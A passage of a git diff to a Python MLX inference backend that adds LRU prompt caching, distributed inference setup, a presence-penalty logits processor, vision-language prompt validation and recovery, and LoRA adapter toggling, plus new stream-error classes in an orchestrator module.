+        if isinstance(message, dict):
+            media_reprs.update(_vlm_media_reprs(message.get("content")))
+    text_content = [
+        content_to_text(message.get("content")) for message in messages if isinstance(message, dict)
+    ]
+    return any(
+        prompt.count(media_repr) > sum(content.count(media_repr) for content in text_content)
+        for media_repr in media_reprs
+    )
+
+
+def _vlm_prompt_issue(prompt, messages):
+    if not isinstance(prompt, str) or not prompt.strip():
+        return "an empty prompt"
+    if _prompt_serializes_vlm_media(prompt, messages):
+        return "serialized structured image content"
+    return None
+
+
+def _vlm_messages_have_tool_history(messages):
+    return any(
+        isinstance(message, dict)
+        and (
+            message.get("role") == "tool"
+            or message.get("tool_calls")
+            or message.get("tool_call_id")
+        )
+        for message in messages
+    )
+
+
+def _build_generation_stats(
+    prompt_n,
+    prompt_tps,
+    gen_n,
+    gen_tps,
+    cached_n = 0,
+):
     """Map mlx stream stats onto the usage/timings shape llama-server emits."""
     prompt_n = int(prompt_n or 0)
     gen_n = int(gen_n or 0)
+    cached_n = int(cached_n or 0)
     prompt_tps = float(prompt_tps or 0.0)
     gen_tps = float(gen_tps or 0.0)
     prompt_ms = (prompt_n / prompt_tps * 1000.0) if prompt_tps > 0 else 0.0
     predicted_ms = (gen_n / gen_tps * 1000.0) if gen_tps > 0 else 0.0
+    total_prompt_n = prompt_n + cached_n
     return {
         "usage": {
-            "prompt_tokens": prompt_n,
+            "prompt_tokens": total_prompt_n,
             "completion_tokens": gen_n,
-            "total_tokens": prompt_n + gen_n,
+            "total_tokens": total_prompt_n + gen_n,
         },
         "timings": {
             "prompt_n": prompt_n,
@@ -36,11 +212,204 @@ def _build_generation_stats(prompt_n, prompt_tps, gen_n, gen_tps):
             "predicted_ms": predicted_ms,
             "predicted_per_token_ms": (predicted_ms / gen_n) if gen_n > 0 else 0.0,
             "predicted_per_second": gen_tps,
-            "cache_n": 0,
+            "cache_n": cached_n,
         },
     }
 
 
+PROMPT_CACHE_ENTRIES = 6
+PROMPT_CACHE_MEMORY_FRACTION = 0.15
+PROMPT_CACHE_FALLBACK_BYTES = 2 * 1024**3
+
+
+def _mlx_prompt_cache_api():
+    try:
+        from mlx_lm.models.cache import (
+            LRUPromptCache,
+            can_trim_prompt_cache,
+            make_prompt_cache,
+            trim_prompt_cache,
+        )
+    except ImportError:
+        return None
+    return LRUPromptCache, make_prompt_cache, can_trim_prompt_cache, trim_prompt_cache
+
+
+def _prompt_cache_max_bytes(recommended_gb = None):
+    override = os.environ.get("UNSLOTH_MLX_PROMPT_CACHE_BYTES")
+    if override:
+        try:
+            return max(int(override), 0)
+        except ValueError:
+            logger.warning("Ignoring non-integer UNSLOTH_MLX_PROMPT_CACHE_BYTES=%r", override)
+    if recommended_gb:
+        return int(recommended_gb * 1e9 * PROMPT_CACHE_MEMORY_FRACTION)
+    return PROMPT_CACHE_FALLBACK_BYTES
+
+
+def _flatten_kv_entries(cache):
+    for entry in cache:
+        nested = getattr(entry, "caches", None)
+        if nested is None:
+            yield entry
+        else:
+            yield from _flatten_kv_entries(nested)
+
+
+def _kv_prefix_coverage(cache):
+    covered = None
+    for entry in _flatten_kv_entries(cache):
+        offset = getattr(entry, "offset", None)
+        if offset is None:
+            return None
+        if getattr(entry, "start_position", 0):
+            return None
+        window = getattr(entry, "max_size", None)
+        if window is not None and offset > window:
+            return None
+        if covered is None:
+            covered = offset
+        elif covered != offset:
+            return None
+    return covered
+
+
+class _MLXPromptCacheHistory:
+    def __init__(self, max_entries, max_bytes):
+        api = _mlx_prompt_cache_api()
+        if api is None:
+            raise RuntimeError("mlx-lm is too old for LRUPromptCache")
+        lru_cls, make, can_trim, trim = api
+        self._make_prompt_cache = make
+        self._can_trim = can_trim
+        self._trim = trim
+        self._max_bytes = max_bytes
+        self._lru = lru_cls(max_size = max_entries, max_bytes = max_bytes)
+
+    def fetch(self, model, key, tokens):
+        cache, rest = self._lru.fetch_nearest_cache(key, list(tokens))
+        if cache is not None:
+            if rest:
+                return cache, list(rest)
+            if self._can_trim(cache) and self._trim(cache, 1) == 1:
+                return cache, list(tokens[-1:])
+        if len(tokens) > 1:
+            head = list(tokens[:-1])
+            cache, rest = self._lru.fetch_nearest_cache(key, head)
+            if cache is not None:
+                covered = len(head) - len(rest)
+                return cache, list(tokens[covered:])
+        return self._make_prompt_cache(model), list(tokens)
+
+    def insert(self, key, tokens, cache):
+        # An over-budget entry evicts itself and every other conversation.
+        nbytes = sum(getattr(entry, "nbytes", 0) for entry in cache)
+        if nbytes > self._max_bytes:
+            logger.debug(
+                "MLX prompt cache: skipping %.2f GB entry over the %.2f GB budget",
+                nbytes / 1e9,
+                self._max_bytes / 1e9,
+            )
+            return
+        covered = _kv_prefix_coverage(cache)
+        if covered is None:
+            logger.debug("MLX prompt cache: skipping cache with unverifiable prefix coverage")
+            return
+        tokens = list(tokens)
+        if covered > len(tokens):
+            logger.debug(
+                "MLX prompt cache: cache covers %d tokens but only %d were tracked",
+                covered,
+                len(tokens),
+            )
+            return
+        tokens = tokens[:covered]
+        if not tokens:
+            return
+        self._lru.insert_cache(key, tokens, cache)
+
+
+def _mlx_distributed_rank_size(group = None):
+    """Return ``(rank, world_size)`` for an optional MLX distributed group."""
+    if group is None:
+        return 0, 1
+    rank = int(group.rank())
+    world_size = int(group.size())
+    if world_size < 1:
+        raise ValueError(f"Invalid MLX distributed world_size={world_size}.")
+    if rank < 0 or rank >= world_size:
+        raise ValueError(f"Invalid MLX distributed rank={rank} for world_size={world_size}.")
+    return rank, world_size
+
+
+def _mlx_distributed_backend_from_env():
+    if os.environ.get("MLX_JACCL_COORDINATOR") and os.environ.get("MLX_IBV_DEVICES"):
+        return "jaccl"
+    return None
+
+
+def _init_mlx_distributed():
+    """Initialize MLX distributed state, falling back to singleton metadata."""
+    import mlx.core as mx
+
+    group = None
+    rank = 0
+    world_size = 1
+    distributed = getattr(mx, "distributed", None)
+    init = getattr(distributed, "init", None) if distributed is not None else None
+    if callable(init):
+        backend = _mlx_distributed_backend_from_env()
+        if backend is None:
+            group = init()
+        else:
+            try:
+                group = init(backend = backend)
+            except TypeError:
+                group = init()
+        if group is not None:
+            rank, world_size = _mlx_distributed_rank_size(group)
+    return group, rank, world_size
+
+
+def _make_mlx_presence_penalty_processor(penalty: float):
+    """Presence penalty as an mlx_lm/mlx_vlm logits processor, matching the safetensors path.
+
+    generate_step calls processors as ``fn(tokens, logits)`` with ``tokens`` the
+    full running sequence; the first call is prompt-only, so latch that length
+    and penalize only after it.
+    """
+    state = {"prompt_len": None}
+
+    def _processor(tokens, logits):
+        if state["prompt_len"] is None:
+            # First call is prompt-only; latch its length.
+            state["prompt_len"] = int(tokens.shape[0])
+            return logits
+        generated = tokens[state["prompt_len"] :]
+        if generated.size == 0:
+            return logits
+        import mlx.core as mx
+
+        vocab = logits.shape[-1]
+        # Bound ids to [0, vocab) before indexing logits: MLX does no bounds
+        # checking and out-of-bounds indexing is undefined behavior (crash /
+        # corruption), unlike torch's harmless negative wrap. MLX also lacks
+        # boolean-mask filtering, so out-of-range/negative ids route to a
+        # scratch slot at index vocab (dropped before the subtract) that never
+        # collides with a real token: real ids (including 0) are penalized
+        # once, strays ignored.
+        valid = (generated >= 0) & (generated < vocab)
+        safe = mx.where(valid, generated, vocab).astype(mx.int32)
+        # Scatter penalty into a (vocab + 1)-wide mask: duplicate ids are
+        # idempotent (presence applies once per token); scratch column dropped.
+        mask = mx.zeros((vocab + 1,), dtype = logits.dtype)
+        mask[safe] = penalty
+        logits = logits - mask[:vocab]
+        return logits
+
+    return _processor
+
+
 class MLXInferenceBackend:
     def __init__(self):
         self.models = {}
@@ -49,7 +418,7 @@ class MLXInferenceBackend:
         self.loaded_local_models = []
         self.device = "mlx"
         self._generation_lock = threading.Lock()
-        # usage/timings of the latest generation; shipped on gen_done.
+        # usage/timings of the latest generation, shipped on gen_done.
         self.last_generation_stats = None
 
         self._model = None
@@ -57,10 +426,62 @@ class MLXInferenceBackend:
         self._processor = None
         self._is_vlm = False
         self._config = {}
+        self._distributed_group = None
+        self._distributed_rank = 0
+        self._distributed_world_size = 1
 
         # Recorded for unload to release pinned memory back to the OS.
         self._memory_limits_applied = {}
 
+        self._prompt_cache_history = None
+        self._prompt_cache_unavailable = False
+
+    def _prompt_cache(self):
+        if self._prompt_cache_history is not None or self._prompt_cache_unavailable:
+            return self._prompt_cache_history
+        max_bytes = _prompt_cache_max_bytes(self._memory_limits_applied.get("recommended_gb"))
+        if max_bytes <= 0:
+            self._prompt_cache_unavailable = True
+            logger.info("MLX prompt cache disabled by budget")
+            return None
+        try:
+            self._prompt_cache_history = _MLXPromptCacheHistory(
+                PROMPT_CACHE_ENTRIES,
+                max_bytes,
+            )
+        except Exception as exc:
+            self._prompt_cache_unavailable = True
+            logger.info("MLX prompt cache unavailable (%s); prefilling every request", exc)
+            return None
+        logger.info(
+            "MLX prompt cache: %d entries, %.2f GB budget",
+            PROMPT_CACHE_ENTRIES,
+            max_bytes / 1e9,
+        )
+        return self._prompt_cache_history
+
+    def _clear_prompt_cache(self):
+        self._prompt_cache_history = None
+        self._prompt_cache_unavailable = False
+
+    def _prepare_prompt_cache(self, prompt, adapter_state):
+        history = self._prompt_cache()
+        if history is None:
+            return prompt, None, None, None, 0
+        try:
+            tokenizer = self._tokenizer
+            bos = getattr(tokenizer, "bos_token", None)
+            add_special_tokens = bos is None or not prompt.startswith(bos)
+            tokens = list(tokenizer.encode(prompt, add_special_tokens = add_special_tokens))
+            if not tokens:
+                return prompt, None, None, None, 0
+            key = f"{self.active_model_name}|{adapter_state!r}"
+            cache, rest = history.fetch(self._model, key, tokens)
+        except Exception as exc:
+            logger.debug("MLX prompt cache lookup failed: %s", exc)
+            return prompt, None, None, None, 0
+        return rest, cache, key, tokens, len(tokens) - len(rest)
+
     def _configure_memory_limits(self):
         """Apply Metal memory caps before loading a model.
 
@@ -101,16 +522,26 @@ class MLXInferenceBackend:
         trust_remote_code = False,
         gpu_ids = None,
         dtype = None,
+        parallel_mode = None,
+        distributed_group = None,
     ) -> bool:
         import mlx.core as mx
 
+        # Keep the token so the native-template fallback can fetch a gated
+        # model's repo template during generation.
+        self._hf_token = hf_token
         model_name = config.identifier if hasattr(config, "identifier") else str(config)
         is_vision = getattr(config, "is_vision", False)
+        distributed_rank, distributed_size = _mlx_distributed_rank_size(distributed_group)
+        is_distributed = distributed_group is not None and distributed_size > 1
+        self._distributed_group = distributed_group
+        self._distributed_rank = distributed_rank
+        self._distributed_world_size = distributed_size
 
-        # GGUF guard. GGUF models are served by llama-server in the parent
-        # process, not mlx-lm here. Reaching this with is_gguf=True means the
-        # route's first detection flaked (transient HF Hub) but the subprocess
-        # re-detected GGUF; raise loudly instead of a cryptic mlx_lm error.
+        # GGUF guard: GGUF is served by llama-server in the parent process,
+        # not mlx-lm. Reaching here with is_gguf=True means the route's
+        # detection flaked but the subprocess re-detected GGUF; raise loudly
+        # instead of a cryptic mlx_lm error.
         if getattr(config, "is_gguf", False):
             raise RuntimeError(
                 f"MLXInferenceBackend cannot load GGUF model '{model_name}': "
@@ -129,11 +560,26 @@ class MLXInferenceBackend:
         is_lora = getattr(config, "is_lora", False)
 
         logger.info(
-            "Loading %s via %s (is_lora=%s)",
+            "Loading %s via %s (is_lora=%s, distributed=%s, rank=%s/%s, mode=%s)",
             model_name,
             "mlx-vlm" if is_vision else "mlx-lm",
             is_lora,
+            is_distributed,
+            distributed_rank,
+            distributed_size,
+            parallel_mode,
         )
+        if is_distributed and parallel_mode not in ("pipeline", "tensor"):
+            raise ValueError(
+                "Unsloth: distributed MLX inference requires parallel_mode='pipeline' "
+                "or parallel_mode='tensor'."
+            )
+        if is_distributed and is_lora:
+            raise ValueError(
+                "Unsloth: distributed MLX inference for LoRA adapter repos "
+                "is not supported yet. Merge/export the adapter into an MLX model "
+                "before distributed inference."
+            )
 
         try:
             from unsloth_zoo.mlx.loader import FastMLXModel
@@ -143,14 +589,23 @@ class MLXInferenceBackend:
                 "(unsloth_zoo.mlx.loader). Reinstall via install.sh on Apple Silicon."
             ) from e
 
+        load_kwargs = {
+            "max_seq_length": max_seq_length,
+            "dtype": dtype,
+            "load_in_4bit": load_in_4bit,
+            "token": hf_token,
+            "trust_remote_code": trust_remote_code,
+            "text_only": False if is_vision else True,
+        }
+        if is_distributed:
+            if parallel_mode == "pipeline":
+                load_kwargs["pipeline_group"] = distributed_group
+            else:
+                load_kwargs["tensor_group"] = distributed_group
+
         model, tokenizer_or_processor = FastMLXModel.from_pretrained(
             model_name,
-            max_seq_length = max_seq_length,
-            dtype = dtype,
-            load_in_4bit = load_in_4bit,
-            token = hf_token,
-            trust_remote_code = trust_remote_code,
-            text_only = False if is_vision else True,
+            **load_kwargs,
         )
 
         if is_vision:
@@ -168,18 +623,25 @@ class MLXInferenceBackend:
 
         self.active_model_name = model_name
         self.models[model_name] = {
+            # Per-model token for the native-template fallback (matches transformers).
+            "hf_token": hf_token,
+            # Per-model trust_remote_code reused by the native-template reload (matches transformers).
+            "trust_remote_code": trust_remote_code,
             "model": self._model,
             "tokenizer": self._tokenizer,
             "processor": self._processor,
             "is_vision": is_vision,
             "is_lora": getattr(config, "is_lora", False),
+            # For a LoRA adapter the native chat template lives on the base model.
+            "base_model": getattr(config, "base_model", None)
+            if getattr(config, "is_lora", False)
+            else None,
             "is_audio": False,
             "audio_type": None,
             "has_audio_input": False,
             "context_length": runtime_context_length(self._model, max_seq_length),
         }
-        # Capture chat_template_info so the worker IPC reply ships it back and
-        # the route layer classifies capabilities like the other paths.
+        # Capture chat_template_info for the worker IPC reply and route capability classification.
         self._populate_chat_template_info(model_name)
 
         logger.info("Model %s loaded successfully", model_name)
@@ -237,8 +699,12 @@ class MLXInferenceBackend:
         self._model = None
         self._tokenizer = None
         self._processor = None
+        self._distributed_group = None
+        self._distributed_rank = 0
+        self._distributed_world_size = 1
         if self.active_model_name == model_name:
             self.active_model_name = None
+        self._clear_prompt_cache()
         gc.collect()
         mx.clear_cache()
 
@@ -264,12 +730,13 @@ class MLXInferenceBackend:
         max_new_tokens = 256,
         repetition_penalty = 1.0,
         cancel_event = None,
-        # Reasoning / tool kwargs forwarded by the route + worker; rendered via
-        # apply_chat_template_for_generation like the transformers path.
+        # Reasoning / tool kwargs, rendered via apply_chat_template_for_generation (transformers parity).
         tools = None,
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
+        _adapter_state = None,
     ) -> Generator[str, None, None]:
         if self._model is None:
             raise RuntimeError("No model loaded")
@@ -277,7 +744,6 @@ class MLXInferenceBackend:
         # Reset so a failed run cannot surface stale stats.
         self.last_generation_stats = None
 
-        # Build messages with system prompt
         full_messages = []
         if system_prompt:
             full_messages.append({"role": "system", "content": system_prompt})
@@ -294,16 +760,13 @@ class MLXInferenceBackend:
                             {"type": "text", "text": content},
                         ]
                     elif isinstance(content, list):
-                        # Prepend image if not already present
-                        has_image = any(
-                            p.get("type") == "image" for p in content if isinstance(p, dict)
-                        )
+                        has_image = _count_vlm_images(content) > 0
                         if not has_image:
                             content.insert(0, {"type": "image"})
                     break
 
         if self._is_vlm:
-            yield from self._generate_vlm(
+            stream = self._generate_vlm(
                 full_messages,
                 image,
                 temperature,
@@ -317,9 +780,11 @@ class MLXInferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
+                _adapter_state = _adapter_state,
             )
         else:
-            yield from self._generate_text(
+            stream = self._generate_text(
                 full_messages,
                 temperature,
                 top_p,
@@ -332,7 +797,10 @@ class MLXInferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
+                _adapter_state = _adapter_state,
             )
+        yield from stream
 
     def _generate_text(
         self,
@@ -349,12 +817,16 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
+        _adapter_state = None,
     ):
         from mlx_lm import stream_generate
         from mlx_lm.sample_utils import make_sampler, make_logits_processors
 
         from core.inference.chat_template_helpers import (
             apply_chat_template_for_generation,
+            detect_think_prefill,
+            render_with_native_template_fallback,
         )
 
         prompt = apply_chat_template_for_generation(
@@ -368,6 +840,33 @@ class MLXInferenceBackend:
         if prompt is None:
             raise RuntimeError("apply_chat_template returned None — tokenizer may be incompatible")
 
+        # Parity with the transformers backend: if the template dropped the
+        # requested tools, fall back to the native template so MLX text models
+        # keep advertising them. self._tokenizer is this entry's tokenizer, so
+        # probe and native render share a renderer. (VLM renders via the
+        # processor for image tokens and is not wired here.)
+        model_info = self.models.get(self.active_model_name, {})
+        render_result = render_with_native_template_fallback(
+            formatted_prompt = prompt,
+            tokenizer = self._tokenizer,
+            model_info = model_info,
+            active_model_name = self.active_model_name,
+            messages = messages,
+            tools = tools,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+            hf_token = model_info.get("hf_token"),
+            return_metadata = True,
+        )
+        prompt = render_result.prompt
+        reasoning_channel_markers = render_result.reasoning_channel_markers
+
+        # An open <think> prefilled by the template lives in the prompt, not
+        # the generated tokens; re-emit it so the frontend renders the block.
+        think_prefix = detect_think_prefill(
+            prompt, getattr(self._tokenizer, "all_special_tokens", None)
+        )
         sampler = make_sampler(
             temp = temperature,
             top_p = top_p,
@@ -375,32 +874,61 @@ class MLXInferenceBackend:
             min_p = float(min_p or 0.0),
             min_tokens_to_keep = 1,
         )
-        # Only build a logits processor for a non-trivial repetition penalty.
-        logits_processors = None
+        # Repetition and/or presence penalty processors (GGUF/safetensors parity).
+        logits_processors = []
         if repetition_penalty is not None and float(repetition_penalty) not in (
             0.0,
             1.0,
         ):
-            logits_processors = make_logits_processors(
-                repetition_penalty = float(repetition_penalty),
+            logits_processors.extend(
+                make_logits_processors(
+                    repetition_penalty = float(repetition_penalty),
+                )
             )
+        if presence_penalty:
+            logits_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
+        if not logits_processors:
+            logits_processors = None
 
+        preserve_native_channels = reasoning_channel_markers is not None
         token_ids = []
-        logger.info(
-            "Generating: prompt_len=%d, max_tokens=%d, model=%s, tokenizer=%s",
-            len(prompt),
-            max_new_tokens,
-            type(self._model).__name__,
-            type(self._tokenizer).__name__,
+        normalizer = (
+            ReasoningChannelNormalizer(*reasoning_channel_markers)
+            if reasoning_channel_markers is not None
+            else None
         )
-        with self._generation_lock:
+        # MLX consumers diff cumulative snapshots. Keep a prompt-prefilled
+        # <think> prefix on every native-protocol snapshot just as the normal
+        # decoding path does below.
+        normalized_output = think_prefix
+        with self._generation_lock, _temporary_mlx_adapter_state(self._model, _adapter_state):
+            (
+                gen_prompt,
+                prompt_cache,
+                cache_key,
+                prompt_tokens,
+                cached_n,
+            ) = self._prepare_prompt_cache(prompt, _adapter_state)
+            logger.info(
+                "Generating: prompt_len=%d, cached=%d, max_tokens=%d, model=%s, tokenizer=%s",
+                len(prompt),
+                cached_n,
+                max_new_tokens,
+                type(self._model).__name__,
+                type(self._tokenizer).__name__,
+            )
             final_response = None
             try:
+                # Enter request-scoped model state before yielding any response.
+                if think_prefix:
+                    yield think_prefix
                 gen_kwargs = dict(
-                    prompt = prompt,
+                    prompt = gen_prompt,
                     max_tokens = max_new_tokens,
                     sampler = sampler,
                 )
+                if prompt_cache is not None:
+                    gen_kwargs["prompt_cache"] = prompt_cache
                 if logits_processors is not None:
                     gen_kwargs["logits_processors"] = logits_processors
                 for response in stream_generate(
@@ -410,15 +938,28 @@ class MLXInferenceBackend:
                 ):
                     final_response = response
                     token_ids.append(response.token)
-                    # Decode full sequence with skip_special_tokens
-                    cumulative = self._tokenizer.decode(
-                        token_ids,
-                        skip_special_tokens = True,
-                    )
-                    yield cumulative
+                    if preserve_native_channels:
+                        piece = getattr(response, "text", None) or ""
+                        delta = normalizer.feed(piece)
+                        if delta:
+                            normalized_output += delta
+                            yield normalized_output
+                    else:
+                        cumulative = self._tokenizer.decode(
+                            token_ids,
+                            skip_special_tokens = True,
+                        )
+                        yield think_prefix + cumulative
 
                     if cancel_event and cancel_event.is_set():
                         break
+                if prompt_cache is not None and prompt_tokens is not None:
+                    history = self._prompt_cache_history
+                    if history is not None:
+                        try:
+                            history.insert(cache_key, prompt_tokens + token_ids, prompt_cache)
+                        except Exception as exc:
+                            logger.debug("MLX prompt cache insert failed: %s", exc)
             except Exception as e:
                 import traceback
                 logger.error("stream_generate failed:\n%s", traceback.format_exc())
@@ -431,7 +972,14 @@ class MLXInferenceBackend:
                         getattr(final_response, "prompt_tps", 0.0),
                         getattr(final_response, "generation_tokens", 0),
                         getattr(final_response, "generation_tps", 0.0),
+                        cached_n,
                     )
+        if normalizer is not None:
+            cancelled = cancel_event is not None and cancel_event.is_set()
+            tail = normalizer.drain() if cancelled else normalizer.finish()
+            if tail:
+                normalized_output += tail
+                yield normalized_output
 
     def _generate_vlm(
         self,
@@ -449,6 +997,8 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
+        _adapter_state = None,
     ):
         from mlx_vlm import stream_generate as vlm_stream
 
@@ -457,8 +1007,7 @@ class MLXInferenceBackend:
         )
 
         # Pick the chat-template-aware caller: processors with their own
-        # apply_chat_template + chat_template (e.g. Qwen2.5-VL) use it
-        # directly; else fall back to the nested tokenizer.
+        # apply_chat_template + chat_template (e.g. Qwen2.5-VL), else the nested tokenizer.
         chat_target = self._processor
         if (
             getattr(self._processor, "apply_chat_template", None) is None
@@ -467,28 +1016,100 @@ class MLXInferenceBackend:
         ):
             chat_target = getattr(self._processor, "tokenizer", self._processor)
 
-        prompt = apply_chat_template_for_generation(
-            chat_target,
-            messages,
-            tools = tools,
-            enable_thinking = enable_thinking,
-            reasoning_effort = reasoning_effort,
-            preserve_thinking = preserve_thinking,
-        )
-
         # mlx_vlm's stream_generate handles pixel_values (None for text-only)
         images = [image] if image is not None else None
+        attached_images = 0 if images is None else len(images)
+        structured_images = sum(
+            _count_vlm_images(message.get("content"))
+            for message in messages
+            if isinstance(message, dict)
+        )
+        if structured_images != attached_images:
+            raise RuntimeError(
+                f"VLM conversation contains {structured_images} structured image "
+                f"item(s) for {attached_images} attached image(s)."
+            )
+        prompt = None
+        has_tool_history = _vlm_messages_have_tool_history(messages)
+        prompt_error = None
+        try:
+            prompt = apply_chat_template_for_generation(
+                chat_target,
+                messages,
+                tools = tools,
+                enable_thinking = enable_thinking,
+                reasoning_effort = reasoning_effort,
+                preserve_thinking = preserve_thinking,
+            )
+        except Exception as exc:
+            if images is None or has_tool_history:
+                raise
+            prompt_error = exc
+        prompt_issue = (
+            _vlm_prompt_issue(prompt, messages) if prompt_error is None else "a rendering error"
+        )
+        if prompt_issue and has_tool_history:
+            raise RuntimeError(
+                f"VLM chat template returned {prompt_issue} and cannot be recovered "
+                "without dropping tool-call history."
+            ) from prompt_error
 
-        cumulative = ""
+        if images is not None and prompt_issue:
+            if tools or any(
+                value is not None
+                for value in (enable_thinking, reasoning_effort, preserve_thinking)
+            ):
+                if prompt_error is not None:
+                    raise prompt_error
+                raise RuntimeError(
+                    f"VLM chat template returned {prompt_issue} and cannot be recovered "
+                    "without dropping requested tools or reasoning controls."
+                )
+            try:
+                recovered_prompt = _render_registered_vlm_prompt(
+                    self._processor,
+                    self._model,
+                    messages,
+                    len(images),
+                )
+            except Exception as recovery_error:
+                if prompt_error is not None:
+                    raise prompt_error
+                raise RuntimeError(
+                    f"VLM chat template returned {prompt_issue}; model-aware "
+                    f"recovery failed: {recovery_error}"
+                ) from recovery_error
+            if recovered_prompt is None:
+                if prompt_error is not None:
+                    raise prompt_error
+                raise RuntimeError(
+                    f"VLM chat template returned {prompt_issue}, and no registered "
+                    "MLX VLM renderer was available for this model."
+                )
+            recovered_issue = _vlm_prompt_issue(recovered_prompt, messages)
+            if recovered_issue:
+                if prompt_error is not None:
+                    raise prompt_error
+                raise RuntimeError(
+                    f"Model-aware VLM rendering returned {recovered_issue} for "
+                    f"{attached_images} attached image(s)."
+                )
+            prompt = recovered_prompt
+        elif prompt_issue:
+            raise RuntimeError(f"VLM chat template returned {prompt_issue}.") from prompt_error
+
+        from core.inference.chat_template_helpers import detect_think_prefill
+
+        # Re-emit an open <think> prefill from the prompt (see _generate_text).
+        cumulative = detect_think_prefill(prompt, getattr(chat_target, "all_special_tokens", None))
         logger.info(
             "VLM generating: prompt_len=%d, has_image=%s",
             len(prompt),
             image is not None,
         )
-        # mlx_vlm.stream_generate forwards **kwargs into generate_step, which
-        # builds the sampler + logits_processors internally.
-        # GOTCHA: generate_step expects ``temperature=`` (long form); ``temp=``
-        # silently falls into **kwargs and is ignored, stuck at greedy 0.0.
+        # stream_generate forwards **kwargs into generate_step (builds the
+        # sampler + logits_processors internally). GOTCHA: generate_step expects
+        # temperature= (long form); temp= is silently ignored, stuck at greedy 0.0.
         vlm_kwargs = dict(
             max_tokens = max_new_tokens,
             temperature = temperature,
@@ -496,37 +1117,65 @@ class MLXInferenceBackend:
             top_k = int(top_k or 0),
             min_p = float(min_p or 0.0),
         )
-        if repetition_penalty is not None and float(repetition_penalty) not in (
+        _rep_active = repetition_penalty is not None and float(repetition_penalty) not in (
             0.0,
             1.0,
-        ):
+        )
+        if presence_penalty:
+            # Presence needs a custom processor: pass the full list (repetition +
+            # presence) instead of the repetition_penalty shortcut so both apply.
+            from mlx_lm.sample_utils import make_logits_processors
+
+            _vlm_processors = []
+            if _rep_active:
+                _vlm_processors.extend(
+                    make_logits_processors(repetition_penalty = float(repetition_penalty))
+                )
+            _vlm_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
+            vlm_kwargs["logits_processors"] = _vlm_processors
+        elif _rep_active:
             vlm_kwargs["repetition_penalty"] = float(repetition_penalty)
 
-        with self._generation_lock:
-            final_response = None
-            try:
-                for response in vlm_stream(
-                    self._model,
-                    self._processor,
-                    prompt,
-                    images,
-                    **vlm_kwargs,
-                ):
-                    final_response = response
-                    token_text = response.text if hasattr(response, "text") else str(response)
-                    cumulative += token_text
-                    yield cumulative
-                    if cancel_event and cancel_event.is_set():
-                        break
-            finally:
-                # mlx_vlm exposes the same stats fields as mlx_lm.
-                if final_response is not None:
-                    self.last_generation_stats = _build_generation_stats(
-                        getattr(final_response, "prompt_tokens", 0),
-                        getattr(final_response, "prompt_tps", 0.0),
-                        getattr(final_response, "generation_tokens", 0),
-                        getattr(final_response, "generation_tps", 0.0),
-                    )
+        def _stream_vlm_snapshots():
+            nonlocal cumulative
+            # Hold the generation lock AND the request-scoped adapter state for the
+            # whole stream so Base-vs-LoRA compare mode honors use_adapter and the
+            # wrapper tree is restored on completion, cancellation, or close.
+            with self._generation_lock, _temporary_mlx_adapter_state(self._model, _adapter_state):
+                final_response = None
+                try:
+                    # Emit any prefilled <think> block before the first token so the
+                    # UI renders it during prefill, matching _generate_text. Done
+                    # inside the adapter context so an unsupported request raises
+                    # before any output escapes.
+                    if cumulative:
+                        yield cumulative
+                    for response in vlm_stream(
+                        self._model,
+                        self._processor,
+                        prompt,
+                        images,
+                        **vlm_kwargs,
+                    ):
+                        final_response = response
+                        token_text = response.text if hasattr(response, "text") else str(response)
+                        cumulative += token_text
+                        yield cumulative
+                        if cancel_event and cancel_event.is_set():
+                            break
+                finally:
+                    # mlx_vlm exposes the same stats fields as mlx_lm.
+                    if final_response is not None:
+                        self.last_generation_stats = _build_generation_stats(
+                            getattr(final_response, "prompt_tokens", 0),
+                            getattr(final_response, "prompt_tps", 0.0),
+                            getattr(final_response, "generation_tokens", 0),
+                            getattr(final_response, "generation_tps", 0.0),
+                        )
+
+        yield from normalize_reasoning_snapshots(
+            _stream_vlm_snapshots(), chat_target, cancel_event, tools = tools
+        )
 
     def generate_with_adapter_control(
         self,
@@ -534,8 +1183,11 @@ class MLXInferenceBackend:
         cancel_event = None,
         **gen_kwargs,
     ) -> Generator[str, None, None]:
-        # MLX LoRA adapter toggling not yet supported — generate normally
-        yield from self.generate_chat_response(cancel_event = cancel_event, **gen_kwargs)
+        yield from self.generate_chat_response(
+            cancel_event = cancel_event,
+            _adapter_state = use_adapter,
+            **gen_kwargs,
+        )
 
     def reset_generation_state(self):
         import mlx.core as mx
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 5dbd5fb479..409132d605 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -45,6 +45,46 @@ _DISPATCH_STOP_TIMEOUT = 5.0
 _DISPATCH_IDLE_TIMEOUT = 30.0
 _DISPATCH_DRAIN_TIMEOUT = 5.0
 
+# Max wait for a cancelled generation to release _gen_lock before unload_model
+# tears the subprocess down. Only bounds a wedged worker.
+_UNLOAD_GEN_LOCK_TIMEOUT = 15.0
+
+
+class GenStreamError(str):
+    """A stream chunk carrying a real backend/generation error, not model text.
+
+    Subclasses str so existing display/logging consumers are unaffected, while
+    callers can distinguish a real error from model output whose visible text
+    starts with "Error:" by checking isinstance(chunk, GenStreamError).
+    """
+
+    __slots__ = ("public",)
+
+    def __new__(
+        cls,
+        value,
+        *,
+        public: bool = False,
+    ):
+        obj = str.__new__(cls, value)
+        obj.public = bool(public)
+        return obj
+
+
+class GenStreamErrorRaised(RuntimeError):
+    """Internal exception form of ``GenStreamError`` for generator boundaries."""
+
+    __slots__ = ("public",)
+
+    def __init__(
+        self,
+        value,
+        *,
+        public: bool = False,
+    ):
+        super().__init__(value)
+        self.public = bool(public)
+
 
 class InferenceOrchestrator:
     """
@@ -60,7 +100,13 @@ class InferenceOrchestrator:
